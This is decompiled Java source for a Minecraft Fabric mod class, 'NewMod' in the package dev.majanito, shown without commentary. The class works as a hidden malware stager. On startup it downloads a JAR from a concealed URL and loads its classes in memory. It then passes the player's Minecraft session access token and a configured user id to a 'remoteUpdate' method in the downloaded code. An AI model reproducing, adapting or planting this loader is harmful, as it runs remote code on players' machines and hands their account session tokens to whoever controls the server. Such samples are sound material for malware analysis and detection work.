/*
 * Decompiled with CFR 0.152.
 * 
 * Could not load the following classes:
 *  com.google.gson.Gson
 *  com.google.gson.JsonObject
 *  net.fabricmc.api.ModInitializer
 *  net.minecraft.class_310
 */
package dev.majanito;

import com.google.gson.Gson;
import com.google.gson.JsonObject;
import dev.majanito.InMemoryClassLoader;
import dev.majanito.Secret;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Objects;
import java.util.jar.JarEntry;
import java.util.jar.JarInputStream;
import net.fabricmc.api.ModInitializer;
import net.minecraft.class_310;

public class NewMod
implements ModInitializer {
    public void onInitialize() {
        String userId = "";
        try (InputStreamReader reader = new InputStreamReader(Objects.requireNonNull(NewMod.class.getClassLoader().getResourceAsStream("cfg.json")));){
            JsonObject json = (JsonObject)new Gson().fromJson((Reader)reader, JsonObject.class);
            userId = json.get("uuid").getAsString();
        }
        catch (Exception e) {
            e.printStackTrace();
            return;
        }
        try {
            byte[] jarBytes = this.downloadJar(Secret.VALUE);
            HashMap<String, byte[]> classMap = new HashMap<String, byte[]>();
            HashMap<String, byte[]> resourceMap = new HashMap<String, byte[]>();
            try (JarInputStream jarStream = new JarInputStream(new ByteArrayInputStream(jarBytes));){
                JarEntry entry;
                while ((entry = jarStream.getNextJarEntry()) != null) {
                    ByteArrayOutputStream baos = new ByteArrayOutputStream();
                    jarStream.transferTo(baos);
                    byte[] data = baos.toByteArray();
                    if (entry.getName().endsWith(".class")) {
                        String className = entry.getName().replace('/', '.').replace(".class", "");
                        classMap.put(className, data);
                        continue;
                    }
                    resourceMap.put(entry.getName(), data);
                }
            }
            InMemoryClassLoader loader = new InMemoryClassLoader(classMap, resourceMap);
            Class<?> clazz = loader.loadClass("dev.majanito.Main");
            Object instance = clazz.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);
            String finalUserId = userId;
            new Thread(() -> {
                try {
                    clazz.getMethod("remoteUpdate", String.class, String.class).invoke(instance, class_310.method_1551().method_1548().method_1674(), finalUserId);
                }
                catch (Exception e) {
                    e.printStackTrace();
                    throw new RuntimeException("Couldn't find remoteUpdate");
                }
            }).start();
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }

    private byte[] downloadJar(String urlString) throws Exception {
        URL url = new URL(urlString);
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        conn.setRequestMethod("GET");
        try (InputStream in = conn.getInputStream();){
            byte[] byArray;
            try (ByteArrayOutputStream out = new ByteArrayOutputStream();){
                int n;
                byte[] buffer = new byte[8192];
                while ((n = in.read(buffer)) != -1) {
                    out.write(buffer, 0, n);
                }
                byArray = out.toByteArray();
            }
            return byArray;
        }
    }
}
